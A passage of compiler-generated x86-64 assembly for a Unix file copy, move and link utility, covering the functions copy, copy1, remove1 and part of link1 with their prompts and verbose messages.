mov rax, QWORD PTR 8[rax]
mov rdx, QWORD PTR -48[rbp]
mov rsi, rax
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
.L61:
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 32[rax]
lea rdx, -1[rax]
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR 32[rax], rdx
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 32[rax]
cmp rax, 1
jne .L62
mov rax, QWORD PTR -8[rbp]
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -16[rbp]
mov QWORD PTR [rax], rdx
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 8[rax]
mov rdi, rax
call deallocate
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call deallocate
.L62:
mov eax, DWORD PTR -20[rbp]
.L53:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE17:
.size trylink, .-trylink
.section .rodata
.LC4:
.string "Overwrite %s? (mode = %03o) "
.align 8
.LC5:
.string "%s: Warning: EOF writing to %s\n"
.align 8
.LC6:
.string "%s: Can't change the mode of %s\n"
.LC7:
.string "%s: Can't set the time of %s\n"
.LC8:
.string "cp %s %s\n"
.LC9:
.string "mv %s %s\n"
.text
.globl copy
.type copy, @function
copy:
.LFB18:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
lea r11, -4194304[rsp]
.LPSRL0:
sub rsp, 4096
or DWORD PTR [rsp], 0
cmp rsp, r11
jne .LPSRL0
sub rsp, 96
mov QWORD PTR -4194376[rbp], rdi
mov QWORD PTR -4194384[rbp], rsi
mov QWORD PTR -4194392[rbp], rdx
mov QWORD PTR -4194400[rbp], rcx
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov rax, QWORD PTR -4194400[rbp]
mov rax, QWORD PTR 8[rax]
test rax, rax
jne .L64
mov rax, QWORD PTR -4194392[rbp]
mov eax, DWORD PTR 24[rax]
and eax, 61440
cmp eax, 32768
je .L65
mov eax, DWORD PTR fc_mask[rip]
and eax, 33206
mov edx, eax
mov rax, QWORD PTR -4194392[rbp]
mov DWORD PTR 24[rax], edx
jmp .L66
.L65:
mov eax, DWORD PTR pflag[rip]
test eax, eax
jne .L66
mov eax, DWORD PTR conforming[rip]
test eax, eax
je .L66
mov rax, QWORD PTR -4194392[rbp]
mov edx, DWORD PTR 24[rax]
mov eax, DWORD PTR fc_mask[rip]
and edx, eax
mov rax, QWORD PTR -4194392[rbp]
mov DWORD PTR 24[rax], edx
jmp .L66
.L64:
mov eax, DWORD PTR iflag[rip]
test eax, eax
jne .L67
mov eax, DWORD PTR action[rip]
cmp eax, 1
jne .L68
mov eax, DWORD PTR fflag[rip]
test eax, eax
jne .L68
mov rax, QWORD PTR -4194400[rbp]
mov rdi, rax
call writable
test eax, eax
jne .L68
.L67:
mov rax, QWORD PTR -4194400[rbp]
mov eax, DWORD PTR 24[rax]
and eax, 4095
mov ecx, eax
mov rax, QWORD PTR stderr[rip]
mov rdx, QWORD PTR -4194384[rbp]
lea rsi, .LC4[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
call affirmative
test eax, eax
jne .L68
mov eax, 0
jmp .L103
.L68:
mov eax, DWORD PTR action[rip]
cmp eax, 1
jne .L70
mov rax, QWORD PTR -4194384[rbp]
mov rdi, rax
call unlink@PLT
test eax, eax
jns .L66
call __errno_location@PLT
mov eax, DWORD PTR [rax]
cmp eax, 2
je .L66
mov rax, QWORD PTR -4194384[rbp]
mov rdi, rax
call report
mov eax, 0
jmp .L103
.L70:
mov eax, DWORD PTR pflag[rip]
test eax, eax
jne .L66
mov rax, QWORD PTR -4194400[rbp]
mov edx, DWORD PTR 24[rax]
mov rax, QWORD PTR -4194392[rbp]
mov DWORD PTR 24[rax], edx
mov rax, QWORD PTR -4194400[rbp]
mov edx, DWORD PTR 28[rax]
mov rax, QWORD PTR -4194392[rbp]
mov DWORD PTR 28[rax], edx
mov rax, QWORD PTR -4194400[rbp]
mov edx, DWORD PTR 32[rax]
mov rax, QWORD PTR -4194392[rbp]
mov DWORD PTR 32[rax], edx
.L66:
mov rcx, QWORD PTR -4194400[rbp]
mov rdx, QWORD PTR -4194392[rbp]
mov rsi, QWORD PTR -4194384[rbp]
mov rax, QWORD PTR -4194376[rbp]
mov rdi, rax
call trylink
test eax, eax
je .L71
mov eax, 1
jmp .L103
.L71:
mov rax, QWORD PTR -4194376[rbp]
mov esi, 0
mov rdi, rax
mov eax, 0
call open@PLT
mov DWORD PTR -4194364[rbp], eax
cmp DWORD PTR -4194364[rbp], 0
jns .L72
mov rax, QWORD PTR -4194376[rbp]
mov rdi, rax
call report
mov eax, 0
jmp .L103
.L72:
mov rax, QWORD PTR -4194392[rbp]
mov eax, DWORD PTR 24[rax]
and eax, 511
mov edx, eax
mov rax, QWORD PTR -4194384[rbp]
mov esi, 577
mov rdi, rax
mov eax, 0
call open@PLT
mov DWORD PTR -4194368[rbp], eax
cmp DWORD PTR -4194368[rbp], 0
jns .L73
mov eax, DWORD PTR fflag[rip]
test eax, eax
je .L73
call __errno_location@PLT
mov eax, DWORD PTR [rax]
cmp eax, 13
jne .L73
mov rax, QWORD PTR -4194400[rbp]
mov eax, DWORD PTR 24[rax]
or al, -128
mov edx, eax
mov rax, QWORD PTR -4194384[rbp]
mov esi, edx
mov rdi, rax
call chmod@PLT
mov rax, QWORD PTR -4194384[rbp]
mov edx, 0
mov esi, 577
mov rdi, rax
mov eax, 0
call open@PLT
mov DWORD PTR -4194368[rbp], eax
.L73:
cmp DWORD PTR -4194368[rbp], 0
jns .L74
mov eax, DWORD PTR fflag[rip]
test eax, eax
je .L74
call __errno_location@PLT
mov eax, DWORD PTR [rax]
cmp eax, 13
jne .L74
mov rax, QWORD PTR -4194384[rbp]
mov rdi, rax
call unlink@PLT
mov rax, QWORD PTR -4194384[rbp]
mov edx, 0
mov esi, 577
mov rdi, rax
mov eax, 0
call open@PLT
mov DWORD PTR -4194368[rbp], eax
.L74:
cmp DWORD PTR -4194368[rbp], 0
jns .L75
mov rax, QWORD PTR -4194384[rbp]
mov rdi, rax
call report
mov eax, DWORD PTR -4194364[rbp]
mov edi, eax
call close@PLT
mov eax, 0
jmp .L103
.L75:
mov rdx, QWORD PTR -4194400[rbp]
mov eax, DWORD PTR -4194368[rbp]
mov rsi, rdx
mov edi, eax
call fstat@PLT
test eax, eax
jns .L77
mov rax, QWORD PTR -4194384[rbp]
mov rdi, rax
call report
mov eax, DWORD PTR -4194364[rbp]
mov edi, eax
call close@PLT
mov eax, DWORD PTR -4194368[rbp]
mov edi, eax
call close@PLT
mov eax, 0
jmp .L103
.L83:
lea rax, -4194320[rbp]
mov QWORD PTR -4194352[rbp], rax
jmp .L78
.L80:
mov rax, QWORD PTR -4194344[rbp]
add QWORD PTR -4194352[rbp], rax
mov rax, QWORD PTR -4194344[rbp]
sub QWORD PTR -4194360[rbp], rax
.L78:
cmp QWORD PTR -4194360[rbp], 0
jle .L79
mov rdx, QWORD PTR -4194360[rbp]
mov rcx, QWORD PTR -4194352[rbp]
mov eax, DWORD PTR -4194368[rbp]
mov rsi, rcx
mov edi, eax
call write@PLT
mov QWORD PTR -4194344[rbp], rax
cmp QWORD PTR -4194344[rbp], 0
jg .L80
.L79:
cmp QWORD PTR -4194344[rbp], 0
jg .L77
cmp QWORD PTR -4194344[rbp], 0
jne .L81
mov rdx, QWORD PTR prog_name[rip]
mov rax, QWORD PTR stderr[rip]
mov rcx, QWORD PTR -4194384[rbp]
lea rsi, .LC5[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
jmp .L82
.L81:
mov rax, QWORD PTR -4194384[rbp]
mov rdi, rax
call fatal
.L77:
lea rcx, -4194320[rbp]
mov eax, DWORD PTR -4194364[rbp]
mov edx, 4194304
mov rsi, rcx
mov edi, eax
call read@PLT
mov QWORD PTR -4194360[rbp], rax
cmp QWORD PTR -4194360[rbp], 0
jg .L83
.L82:
cmp QWORD PTR -4194360[rbp], 0
jns .L84
mov rax, QWORD PTR -4194376[rbp]
mov rdi, rax
call report
mov eax, DWORD PTR -4194364[rbp]
mov edi, eax
call close@PLT
mov eax, DWORD PTR -4194368[rbp]
mov edi, eax
call close@PLT
mov eax, 0
jmp .L103
.L84:
mov eax, DWORD PTR -4194364[rbp]
mov edi, eax
call close@PLT
mov eax, DWORD PTR -4194368[rbp]
mov edi, eax
call close@PLT
mov eax, DWORD PTR pflag[rip]
test eax, eax
jne .L85
mov eax, DWORD PTR conforming[rip]
test eax, eax
jne .L86
.L85:
mov rax, QWORD PTR -4194400[rbp]
mov eax, DWORD PTR 24[rax]
and eax, 61440
cmp eax, 32768
jne .L86
mov rax, QWORD PTR -4194400[rbp]
mov edx, DWORD PTR 28[rax]
mov rax, QWORD PTR -4194392[rbp]
mov eax, DWORD PTR 28[rax]
cmp edx, eax
jne .L87
mov rax, QWORD PTR -4194400[rbp]
mov edx, DWORD PTR 32[rax]
mov rax, QWORD PTR -4194392[rbp]
mov eax, DWORD PTR 32[rax]
cmp edx, eax
je .L86
.L87:
mov rax, QWORD PTR -4194384[rbp]
mov esi, 0
mov rdi, rax
call chmod@PLT
test eax, eax
jne .L88
mov rax, QWORD PTR -4194400[rbp]
mov eax, DWORD PTR 24[rax]
and eax, -4096
mov edx, eax
mov rax, QWORD PTR -4194400[rbp]
mov DWORD PTR 24[rax], edx
.L88:
mov rax, QWORD PTR -4194392[rbp]
mov edx, DWORD PTR 32[rax]
mov rax, QWORD PTR -4194392[rbp]
mov ecx, DWORD PTR 28[rax]
mov rax, QWORD PTR -4194384[rbp]
mov esi, ecx
mov rdi, rax
call chown@PLT
test eax, eax
jns .L89
call __errno_location@PLT
mov eax, DWORD PTR [rax]
cmp eax, 1
je .L86
mov rax, QWORD PTR -4194384[rbp]
mov rdi, rax
call report
mov eax, 0
jmp .L103
.L89:
mov rax, QWORD PTR -4194392[rbp]
mov edx, DWORD PTR 28[rax]
mov rax, QWORD PTR -4194400[rbp]
mov DWORD PTR 28[rax], edx
mov rax, QWORD PTR -4194392[rbp]
mov edx, DWORD PTR 32[rax]
mov rax, QWORD PTR -4194400[rbp]
mov DWORD PTR 32[rax], edx
.L86:
mov eax, DWORD PTR conforming[rip]
test eax, eax
je .L90
mov rax, QWORD PTR -4194400[rbp]
mov eax, DWORD PTR 24[rax]
and eax, 61440
cmp eax, 32768
jne .L90
mov rax, QWORD PTR -4194400[rbp]
mov edx, DWORD PTR 28[rax]
mov rax, QWORD PTR -4194392[rbp]
mov eax, DWORD PTR 28[rax]
cmp edx, eax
jne .L91
mov rax, QWORD PTR -4194400[rbp]
mov edx, DWORD PTR 32[rax]
mov rax, QWORD PTR -4194392[rbp]
mov eax, DWORD PTR 32[rax]
cmp edx, eax
je .L90
.L91:
mov rax, QWORD PTR -4194392[rbp]
mov eax, DWORD PTR 24[rax]
and ah, -13
mov edx, eax
mov rax, QWORD PTR -4194392[rbp]
mov DWORD PTR 24[rax], edx
.L90:
mov rax, QWORD PTR -4194400[rbp]
mov eax, DWORD PTR 24[rax]
and eax, 61440
cmp eax, 32768
jne .L92
mov rax, QWORD PTR -4194400[rbp]
mov edx, DWORD PTR 24[rax]
mov rax, QWORD PTR -4194392[rbp]
mov eax, DWORD PTR 24[rax]
cmp edx, eax
je .L92
mov rax, QWORD PTR -4194392[rbp]
mov edx, DWORD PTR 24[rax]
mov rax, QWORD PTR -4194384[rbp]
mov esi, edx
mov rdi, rax
call chmod@PLT
test eax, eax
jns .L92
call __errno_location@PLT
mov eax, DWORD PTR [rax]
cmp eax, 1
je .L93
mov rax, QWORD PTR -4194384[rbp]
mov rdi, rax
call report
mov eax, 0
jmp .L103
.L93:
mov rdx, QWORD PTR prog_name[rip]
mov rax, QWORD PTR stderr[rip]
mov rcx, QWORD PTR -4194384[rbp]
lea rsi, .LC6[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
.L92:
mov eax, DWORD PTR pflag[rip]
test eax, eax
jne .L94
mov eax, DWORD PTR conforming[rip]
test eax, eax
jne .L95
.L94:
mov rax, QWORD PTR -4194400[rbp]
mov eax, DWORD PTR 24[rax]
and eax, 61440
cmp eax, 32768
jne .L95
mov eax, DWORD PTR action[rip]
cmp eax, 1
jne .L96
mov rax, QWORD PTR -4194392[rbp]
mov rax, QWORD PTR 72[rax]
jmp .L97
.L96:
mov edi, 0
call time@PLT
.L97:
mov QWORD PTR -4194336[rbp], rax
mov rax, QWORD PTR -4194392[rbp]
mov rax, QWORD PTR 88[rax]
mov QWORD PTR -4194328[rbp], rax
lea rdx, -4194336[rbp]
mov rax, QWORD PTR -4194384[rbp]
mov rsi, rdx
mov rdi, rax
call utime@PLT
test eax, eax
jns .L95
call __errno_location@PLT
mov eax, DWORD PTR [rax]
cmp eax, 1
je .L99
mov rax, QWORD PTR -4194384[rbp]
mov rdi, rax
call report
mov eax, 0
jmp .L103
.L99:
mov eax, DWORD PTR pflag[rip]
test eax, eax
je .L95
mov rdx, QWORD PTR prog_name[rip]
mov rax, QWORD PTR stderr[rip]
mov rcx, QWORD PTR -4194384[rbp]
lea rsi, .LC7[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
.L95:
mov eax, DWORD PTR vflag[rip]
test eax, eax
je .L100
mov eax, DWORD PTR action[rip]
test eax, eax
jne .L101
lea rax, .LC8[rip]
jmp .L102
.L101:
lea rax, .LC9[rip]
.L102:
mov rdx, QWORD PTR -4194384[rbp]
mov rcx, QWORD PTR -4194376[rbp]
mov rsi, rcx
mov rdi, rax
mov eax, 0
call printf@PLT
.L100:
mov eax, 1
.L103:
mov rsi, QWORD PTR -8[rbp]
sub rsi, QWORD PTR fs:40
je .L104
call __stack_chk_fail@PLT
.L104:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE18:
.size copy, .-copy
.section .rodata
.align 8
.LC10:
.string "%s: can't copy %s onto itself\n"
.LC11:
.string "Replace %s? (mode = %03o) "
.LC12:
.string "ln -s %s %s\n"
.LC13:
.string "mkfifo %s\n"
.LC14:
.string "mknod %s %c %d %d\n"
.align 8
.LC15:
.string "%s: %s: odd filetype %5o (not copied)\n"
.text
.globl copy1
.type copy1, @function
copy1:
.LFB19:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 1104
mov QWORD PTR -1080[rbp], rdi
mov QWORD PTR -1088[rbp], rsi
mov QWORD PTR -1096[rbp], rdx
mov QWORD PTR -1104[rbp], rcx
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov rax, QWORD PTR -1096[rbp]
mov rdx, QWORD PTR 8[rax]
mov rax, QWORD PTR -1104[rbp]
mov rax, QWORD PTR 8[rax]
cmp rdx, rax
jne .L106
mov rax, QWORD PTR -1096[rbp]
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -1104[rbp]
mov rax, QWORD PTR [rax]
cmp rdx, rax
jne .L106
mov rdx, QWORD PTR prog_name[rip]
mov rax, QWORD PTR stderr[rip]
mov rcx, QWORD PTR -1080[rbp]
lea rsi, .LC10[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov DWORD PTR ex_code[rip], 1
jmp .L105
.L106:
mov rax, QWORD PTR -1104[rbp]
mov rax, QWORD PTR 8[rax]
test rax, rax
je .L108
mov rax, QWORD PTR -1104[rbp]
mov eax, DWORD PTR 24[rax]
and eax, 61440
cmp eax, 16384
jne .L108
call __errno_location@PLT
mov DWORD PTR [rax], 21
mov rax, QWORD PTR -1088[rbp]
mov rdi, rax
call report
jmp .L105
.L108:
mov rax, QWORD PTR -1096[rbp]
mov eax, DWORD PTR 24[rax]
and eax, 61440
cmp eax, 32768
je .L109
mov eax, DWORD PTR expand[rip]
test eax, eax
je .L110
mov eax, DWORD PTR rflag[rip]
test eax, eax
jne .L110
.L109:
mov rcx, QWORD PTR -1104[rbp]
mov rdx, QWORD PTR -1096[rbp]
mov rsi, QWORD PTR -1088[rbp]
mov rax, QWORD PTR -1080[rbp]
mov rdi, rax
call copy
test eax, eax
je .L143
mov eax, DWORD PTR action[rip]
cmp eax, 1
jne .L144
mov rax, QWORD PTR -1080[rbp]
mov rdi, rax
call unlink@PLT
test eax, eax
jns .L144
mov rax, QWORD PTR -1080[rbp]
mov rdi, rax
call report
jmp .L105
.L110:
mov rax, QWORD PTR -1104[rbp]
mov rax, QWORD PTR 8[rax]
test rax, rax
je .L113
mov eax, DWORD PTR iflag[rip]
test eax, eax
jne .L114
mov eax, DWORD PTR action[rip]
cmp eax, 1
jne .L115
mov eax, DWORD PTR fflag[rip]
test eax, eax
jne .L115
mov rax, QWORD PTR -1104[rbp]
mov rdi, rax
call writable
test eax, eax
jne .L115
.L114:
mov rax, QWORD PTR -1104[rbp]
mov eax, DWORD PTR 24[rax]
and eax, 4095
mov ecx, eax
mov rax, QWORD PTR stderr[rip]
mov rdx, QWORD PTR -1088[rbp]
lea rsi, .LC11[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
call affirmative
test eax, eax
je .L145
.L115:
mov rax, QWORD PTR -1088[rbp]
mov rdi, rax
call unlink@PLT
test eax, eax
jns .L116
mov rax, QWORD PTR -1088[rbp]
mov rdi, rax
call report
jmp .L105
.L116:
mov rax, QWORD PTR -1104[rbp]
mov QWORD PTR 8[rax], 0
.L113:
mov eax, DWORD PTR pflag[rip]
test eax, eax
jne .L117
mov eax, DWORD PTR conforming[rip]
test eax, eax
je .L117
mov rax, QWORD PTR -1096[rbp]
mov edx, DWORD PTR 24[rax]
mov eax, DWORD PTR fc_mask[rip]
and edx, eax
mov rax, QWORD PTR -1096[rbp]
mov DWORD PTR 24[rax], edx
.L117:
mov DWORD PTR -1060[rbp], 0
mov rax, QWORD PTR -1096[rbp]
mov eax, DWORD PTR 24[rax]
and eax, 61440
cmp eax, 40960
jne .L118
lea rcx, -1040[rbp]
mov rax, QWORD PTR -1080[rbp]
mov edx, 1024
mov rsi, rcx
mov rdi, rax
call readlink@PLT
mov DWORD PTR -1064[rbp], eax
cmp DWORD PTR -1064[rbp], 0
jns .L119
mov rax, QWORD PTR -1080[rbp]
mov rdi, rax
call report
jmp .L105
.L119:
mov eax, DWORD PTR -1064[rbp]
cdqe
mov BYTE PTR -1040[rbp+rax], 0
mov rdx, QWORD PTR -1088[rbp]
lea rax, -1040[rbp]
mov rsi, rdx
mov rdi, rax
call symlink@PLT
mov DWORD PTR -1064[rbp], eax
mov eax, DWORD PTR vflag[rip]
test eax, eax
je .L121
cmp DWORD PTR -1064[rbp], 0
jne .L121
mov rdx, QWORD PTR -1088[rbp]
lea rax, -1040[rbp]
mov rsi, rax
lea rdi, .LC12[rip]
mov eax, 0
call printf@PLT
jmp .L121
.L118:
mov rcx, QWORD PTR -1104[rbp]
mov rdx, QWORD PTR -1096[rbp]
mov rsi, QWORD PTR -1088[rbp]
mov rax, QWORD PTR -1080[rbp]
mov rdi, rax
call trylink
test eax, eax
je .L122
mov DWORD PTR -1060[rbp], 1
mov DWORD PTR -1064[rbp], 0
jmp .L121
.L122:
mov rax, QWORD PTR -1096[rbp]
mov eax, DWORD PTR 24[rax]
and eax, 61440
cmp eax, 4096
jne .L123
mov rax, QWORD PTR -1096[rbp]
mov edx, DWORD PTR 24[rax]
mov rax, QWORD PTR -1088[rbp]
mov esi, edx
mov rdi, rax
call mkfifo@PLT
mov DWORD PTR -1064[rbp], eax
mov eax, DWORD PTR vflag[rip]
test eax, eax
je .L121
cmp DWORD PTR -1064[rbp], 0
jne .L121
mov rax, QWORD PTR -1088[rbp]
mov rsi, rax
lea rdi, .LC13[rip]
mov eax, 0
call printf@PLT
jmp .L121
.L123:
mov rax, QWORD PTR -1096[rbp]
mov eax, DWORD PTR 24[rax]
and eax, 61440
cmp eax, 24576
je .L124
mov rax, QWORD PTR -1096[rbp]
mov eax, DWORD PTR 24[rax]
and eax, 61440
cmp eax, 8192
jne .L125
.L124:
mov rax, QWORD PTR -1096[rbp]
mov rdx, QWORD PTR 40[rax]
mov rax, QWORD PTR -1096[rbp]
mov ecx, DWORD PTR 24[rax]
mov rax, QWORD PTR -1088[rbp]
mov esi, ecx
mov rdi, rax
call mknod@PLT
mov DWORD PTR -1064[rbp], eax
mov eax, DWORD PTR vflag[rip]
test eax, eax
je .L146
cmp DWORD PTR -1064[rbp], 0
jne .L146
mov rax, QWORD PTR -1096[rbp]
mov rax, QWORD PTR 40[rax]
movzx ecx, al
mov rax, QWORD PTR -1096[rbp]
mov rax, QWORD PTR 40[rax]
shr rax, 8
movzx edx, al
mov rax, QWORD PTR -1096[rbp]
mov eax, DWORD PTR 24[rax]
and eax, 61440
cmp eax, 24576
jne .L127
mov esi, 98
jmp .L128
.L127:
mov esi, 99
.L128:
mov rax, QWORD PTR -1088[rbp]
mov r8, rcx
mov rcx, rdx
mov edx, esi
mov rsi, rax
lea rdi, .LC14[rip]
mov eax, 0
call printf@PLT
jmp .L146
.L125:
mov rax, QWORD PTR -1096[rbp]
mov esi, DWORD PTR 24[rax]
mov rdx, QWORD PTR prog_name[rip]
mov rax, QWORD PTR stderr[rip]
mov rcx, QWORD PTR -1080[rbp]
mov r8d, esi
lea rsi, .LC15[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov DWORD PTR ex_code[rip], 1
jmp .L105
.L146:
nop
.L121:
cmp DWORD PTR -1064[rbp], 0
js .L129
mov rdx, QWORD PTR -1104[rbp]
mov rax, QWORD PTR -1088[rbp]
mov rsi, rdx
mov rdi, rax
call lstat@PLT
test eax, eax
jns .L130
.L129:
mov rax, QWORD PTR -1088[rbp]
mov rdi, rax
call report
jmp .L105
.L130:
mov eax, DWORD PTR action[rip]
cmp eax, 1
jne .L131
mov rax, QWORD PTR -1080[rbp]
mov rdi, rax
call unlink@PLT
test eax, eax
jns .L131
mov rax, QWORD PTR -1080[rbp]
mov rdi, rax
call report
mov rax, QWORD PTR -1088[rbp]
mov rdi, rax
call unlink@PLT
jmp .L105
.L131:
cmp DWORD PTR -1060[rbp], 0
jne .L147
mov rax, QWORD PTR -1096[rbp]
mov eax, DWORD PTR 24[rax]
and eax, 61440
cmp eax, 40960
je .L148
mov eax, DWORD PTR pflag[rip]
test eax, eax
jne .L134
mov eax, DWORD PTR conforming[rip]
test eax, eax
jne .L135
.L134:
mov rax, QWORD PTR -1104[rbp]
mov edx, DWORD PTR 28[rax]
mov rax, QWORD PTR -1096[rbp]
mov eax, DWORD PTR 28[rax]
cmp edx, eax
jne .L136
mov rax, QWORD PTR -1104[rbp]
mov edx, DWORD PTR 32[rax]
mov rax, QWORD PTR -1096[rbp]
mov eax, DWORD PTR 32[rax]
cmp edx, eax
je .L135
.L136:
mov rax, QWORD PTR -1096[rbp]
mov edx, DWORD PTR 32[rax]
mov rax, QWORD PTR -1096[rbp]
mov ecx, DWORD PTR 28[rax]
mov rax, QWORD PTR -1088[rbp]
mov esi, ecx
mov rdi, rax
call chown@PLT
test eax, eax
jns .L135
call __errno_location@PLT
mov eax, DWORD PTR [rax]
cmp eax, 1
je .L135
mov rax, QWORD PTR -1088[rbp]
mov rdi, rax
call report
jmp .L105
.L135:
mov eax, DWORD PTR pflag[rip]
test eax, eax
jne .L137
mov eax, DWORD PTR conforming[rip]
test eax, eax
jne .L105
.L137:
mov eax, DWORD PTR action[rip]
cmp eax, 1
jne .L138
mov rax, QWORD PTR -1096[rbp]
mov rax, QWORD PTR 72[rax]
jmp .L139
.L138:
mov edi, 0
call time@PLT
.L139:
mov QWORD PTR -1056[rbp], rax
mov rax, QWORD PTR -1096[rbp]
mov rax, QWORD PTR 88[rax]
mov QWORD PTR -1048[rbp], rax
lea rdx, -1056[rbp]
mov rax, QWORD PTR -1088[rbp]
mov rsi, rdx
mov rdi, rax
call utime@PLT
test eax, eax
jns .L105
call __errno_location@PLT
mov eax, DWORD PTR [rax]
cmp eax, 1
je .L141
mov rax, QWORD PTR -1088[rbp]
mov rdi, rax
call report
jmp .L105
.L141:
mov rdx, QWORD PTR prog_name[rip]
mov rax, QWORD PTR stderr[rip]
mov rcx, QWORD PTR -1088[rbp]
lea rsi, .LC7[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
jmp .L105
.L143:
nop
jmp .L105
.L144:
nop
jmp .L105
.L145:
nop
jmp .L105
.L147:
nop
jmp .L105
.L148:
nop
.L105:
mov rax, QWORD PTR -8[rbp]
sub rax, QWORD PTR fs:40
je .L142
call __stack_chk_fail@PLT
.L142:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE19:
.size copy1, .-copy1
.section .rodata
.LC16:
.string "Remove %s? (mode = %03o) "
.LC17:
.string "rm %s\n"
.text
.globl remove1
.type remove1, @function
remove1:
.LFB20:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
mov QWORD PTR -16[rbp], rsi
mov eax, DWORD PTR iflag[rip]
test eax, eax
jne .L150
mov eax, DWORD PTR fflag[rip]
test eax, eax
jne .L151
mov rax, QWORD PTR -16[rbp]
mov rdi, rax
call writable
test eax, eax
jne .L151
.L150:
mov rax, QWORD PTR -16[rbp]
mov eax, DWORD PTR 24[rax]
and eax, 4095
mov ecx, eax
mov rax, QWORD PTR stderr[rip]
mov rdx, QWORD PTR -8[rbp]
lea rsi, .LC16[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
call affirmative
test eax, eax
je .L154
.L151:
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call unlink@PLT
test eax, eax
jns .L153
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call report
jmp .L149
.L153:
mov eax, DWORD PTR vflag[rip]
test eax, eax
je .L149
mov rax, QWORD PTR -8[rbp]
mov rsi, rax
lea rdi, .LC17[rip]
mov eax, 0
call printf@PLT
jmp .L149
.L154:
nop
.L149:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE20:
.size remove1, .-remove1
.section .rodata
.align 8
.LC18:
.string "%s: Can't link %s onto itself\n"
.LC19:
.string "Remove %s? "
.align 8
.LC20:
.string "%s: Symlinking %s to %s can't be made to work, too difficult\n"
.LC21:
.string ".."
.text
.globl link1
.type link1, @function
link1:
.LFB21:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 1120
mov QWORD PTR -1096[rbp], rdi
mov QWORD PTR -1104[rbp], rsi
mov QWORD PTR -1112[rbp], rdx
mov QWORD PTR -1120[rbp], rcx
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov rax, QWORD PTR -1120[rbp]
mov rax, QWORD PTR 8[rax]
test rax, rax
je .L156
mov eax, DWORD PTR iflag[rip]
test eax, eax
jne .L157
mov eax, DWORD PTR fflag[rip]
test eax, eax
je .L156
.L157:
mov rax, QWORD PTR -1112[rbp]
mov rdx, QWORD PTR 8[rax]
mov rax, QWORD PTR -1120[rbp]
mov rax, QWORD PTR 8[rax]
cmp rdx, rax
jne .L158
mov eax, DWORD PTR fflag[rip]
test eax, eax
jne .L192
mov rdx, QWORD PTR prog_name[rip]
mov rax, QWORD PTR stderr[rip]
mov rcx, QWORD PTR -1096[rbp]
lea rsi, .LC18[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov DWORD PTR ex_code[rip], 1
jmp .L155
.L158:
mov eax, DWORD PTR iflag[rip]
test eax, eax
je .L161
mov rax, QWORD PTR stderr[rip]
mov rdx, QWORD PTR -1104[rbp]
lea rsi, .LC19[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
call affirmative
test eax, eax
je .L193
.L161:
call __errno_location@PLT
mov DWORD PTR [rax], 21
mov rax, QWORD PTR -1120[rbp]
mov eax, DWORD PTR 24[rax]
and eax, 61440
cmp eax, 16384
je .L162
mov rax, QWORD PTR -1104[rbp]
mov rdi, rax
call unlink@PLT
test eax, eax
jns .L156
.L162:
mov rax, QWORD PTR -1104[rbp]
mov rdi, rax
call report
jmp .L155
.L156:
mov eax, DWORD PTR sflag[rip]
test eax, eax
jne .L163
mov eax, DWORD PTR rflag[rip]
test eax, eax
je .L164
mov rax, QWORD PTR -1112[rbp]
mov eax, DWORD PTR 24[rax]
and eax, 61440
cmp eax, 40960
je .L163
.L164:
mov eax, DWORD PTR Sflag[rip]
test eax, eax
je .L165
mov eax, DWORD PTR xdev[rip]
test eax, eax
jne .L163
.L165:
mov rdx, QWORD PTR -1104[rbp]
mov rax, QWORD PTR -1096[rbp]
mov rsi, rdx
mov rdi, rax
call link@PLT
test eax, eax
jns .L166
mov eax, DWORD PTR Sflag[rip]
test eax, eax
je .L167
call __errno_location@PLT
mov eax, DWORD PTR [rax]
cmp eax, 18
je .L168
.L167:
mov rdx, QWORD PTR -1104[rbp]
mov rax, QWORD PTR -1096[rbp]
mov rsi, rdx
mov rdi, rax
call report2
jmp .L155
.L168:
mov DWORD PTR xdev[rip], 1
jmp .L163
.L166:
mov eax, DWORD PTR vflag[rip]
test eax, eax
je .L194
mov rdx, QWORD PTR -1104[rbp]
mov rax, QWORD PTR -1096[rbp]
mov rsi, rax
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
jmp .L194
.L163:
mov eax, DWORD PTR rflag[rip]
test eax, eax
jne .L170
mov eax, DWORD PTR Sflag[rip]
test eax, eax
jne .L170
mov rdx, QWORD PTR -1104[rbp]
